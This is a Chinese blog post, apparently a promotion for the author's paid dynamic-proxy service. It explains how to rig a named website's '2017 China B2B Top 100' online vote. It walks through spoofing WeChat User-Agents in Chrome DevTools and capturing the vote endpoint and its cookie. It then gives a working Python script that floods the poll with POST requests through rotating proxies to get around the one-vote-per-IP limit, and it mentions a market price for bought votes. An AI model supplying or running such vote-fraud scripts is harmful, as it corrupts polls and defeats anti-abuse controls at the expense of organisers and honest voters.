很多行业协会或公司内部都会做一些投票榜单,本意是希望让大家传播扩散宣传,但是实际上变成了刷票技术的较量,榜单并没有体现出应有的公正性和权威性。
比如近期知名B2B媒体网站托比网搞的“2017中国B2B行业百强评选”:
目前前5名中只听说过慧聪网,排第一的“链尚”是什么鬼?
想投票作弊?下面讲解下做法:
首先用Chrome浏览器打开一个投票宣传页面:digg.php?id=452
尝试点击投票会提示"请使用投票"。
这时我们需要模拟客户端User-Agent让程序认为我们在使用。
鼠标右键出现菜单后点击”检查“,这时进入Chrome审查元素模式。
然后点击页面最上方的Responsive的下拉菜单,选择Edit菜单,点击Devices,然后点击Add custom device按钮,增加一个客户端设备的模拟。
设备命名为:iOS wechat,保证默认的屏幕分辨率,然后填写要模拟的User-Agent:
Mozilla/5.0 (iPhone; CPU iPhone OS 10_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Mobile/11D257 MicroMessenger/6.5.2.501 NetType/WIFI如想模拟安卓手机客户端,User-Agent如下:
Mozilla/5.0 (Linux; Android 5.0; SM-N9100 Build/LRX21V) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/37.0.0.0 Mobile Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI模拟Windows下客户端,User-Agent如下:
Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.691.400 Browser/9.0.2524.400点击前投票前需要打开Chrome审查元素工具的Network菜单,点击投票后,你会发现有一个叫做corel.php的文件,这个就是实现投票的地址。我们只需要构造一个Post请求发过就可以投票成功。
托比网为了限制每个网站每个IP只能投一次,在Cookie中记录了一些参数,抓包分析如下:
Cookie:828c03698cb5f5cbce2ad577=452; UM_distinctid=15fb962f0c0271-06f8dc929d2fa9-31667c00-fa000-15fb962f0c1314; CNZZDATA=cnzz_eid%3D--%26ntime%3D在模拟发投票请求时,需要把这些参数带上才行,而且需要不断的更换IP地址。
当我们知道了整个投票功能的原理和限制,就可以用任意脚本语言写程序实现投票。
Python3实现的投票代码如下:
# coding = utf-8 投票 digg.php?id=452&from=groupmessage&isappinstalled=0 # 导入http请求库request import requests #导入随机数库 import random import time import sys import re # 谢邀云动态IP代理地址和端口号,如有需要可以联系:vista8购买 proxyHost = "dongtai.xieyaoyun.com" proxyPort = "33002" # :804/购买的动态代理用户名和密码(防止盗用,下面是假的) proxyUser = "d086d1deefa83acde" proxyPass = "b619c89a0dfb86cdf" proxyMeta = "http://%(user)s:%(pass)s@%(host)s:%(port)s" % { "host" : proxyHost, "port" : proxyPort, "user" : proxyUser, "pass" : proxyPass, } # 代理支持http和https proxies = { "http": proxyMeta, "https" : proxyMeta, } # 投票函数 def run(): vote_url = corel.php headers = {} # 构造随机UA headers[User-Agent] = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36 MicroMessenger/6.5.2.501 NetType/WIFI WindowsWechat QBCore/3.43.691.400 Browser/9.0.2524.400" + str(random.randint(0,99)) # Referer 地址 headers[Referer] = "digg.php?id=452&from=groupmessage&isappinstalled=0" headers[Cookie] = "828c03698cb5f5cbce2ad577=452" # 超时设为3秒,如果网页3秒内无响应抛出异常 timeout = 3 # 构造Post请求发送的内容,id对应的文章id,from为群,isappinstalled也是群聊点击传的参数 data = { id: 452, from: groupmessage, isappinstalled: 0 } try: res = requests.post(vote_url, data = data, headers = headers, proxies=proxies, timeout = 3) print(res.status_code) except: run() while True: run()代码很糙,但可以work,1分钟测试刷投票结果如下:
基本上所有投票都会做这样或那样的限制,但我朋友申飞家的托比网程序员太不不给力,那些所谓的限制这样轻松就可以越过去,整个榜单全被搞乱了。
更加严格的投票可能会要求授权登录,但对于想刷票的人来说,这都不是问题。
1000次授权投票的行情是70块而已。
现在想想那些骚扰一堆朋友就为给自家宝宝参加活动投票的人太笨了,买个动态代理,找个程序员分钟搞定的事儿。
人生苦短,赶快学点编程技术吧,哈哈!
这是一篇我们产品的硬广告,需要代理的加我:vista8